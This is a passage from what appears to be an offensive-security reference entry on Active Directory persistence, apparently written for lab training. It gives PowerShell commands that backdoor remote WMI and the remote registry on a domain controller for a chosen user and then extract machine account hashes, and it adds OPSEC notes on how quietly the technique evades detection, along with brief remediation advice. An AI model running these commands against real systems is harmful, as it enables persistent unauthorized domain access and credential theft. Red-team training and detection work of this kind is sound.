  • Local admin / SYSTEM on the target host (a DC for domain-wide value)

Example commands

# Backdoor remote WMI for a chosen user
Set-RemoteWMI -UserName student1 -ComputerName dc01 -namespace 'root\cimv2' -Verbose
# ACL-backdoor remote registry, then pull hashes on demand
Add-RemoteRegBackdoor -ComputerName dc01 -Trustee student1 -Verbose
Get-RemoteMachineAccountHash -ComputerName dc01 -Verbose

Tools

MITRE ATT&CK: T1222

References

OPSEC / detection: Quiet by design: no new accounts or group changes. The one-time SD modification is the detectable moment; afterward backdoored remote-registry hash pulls look like normal access. Remediation requires auditing/resetting the security descriptors, not password rotation.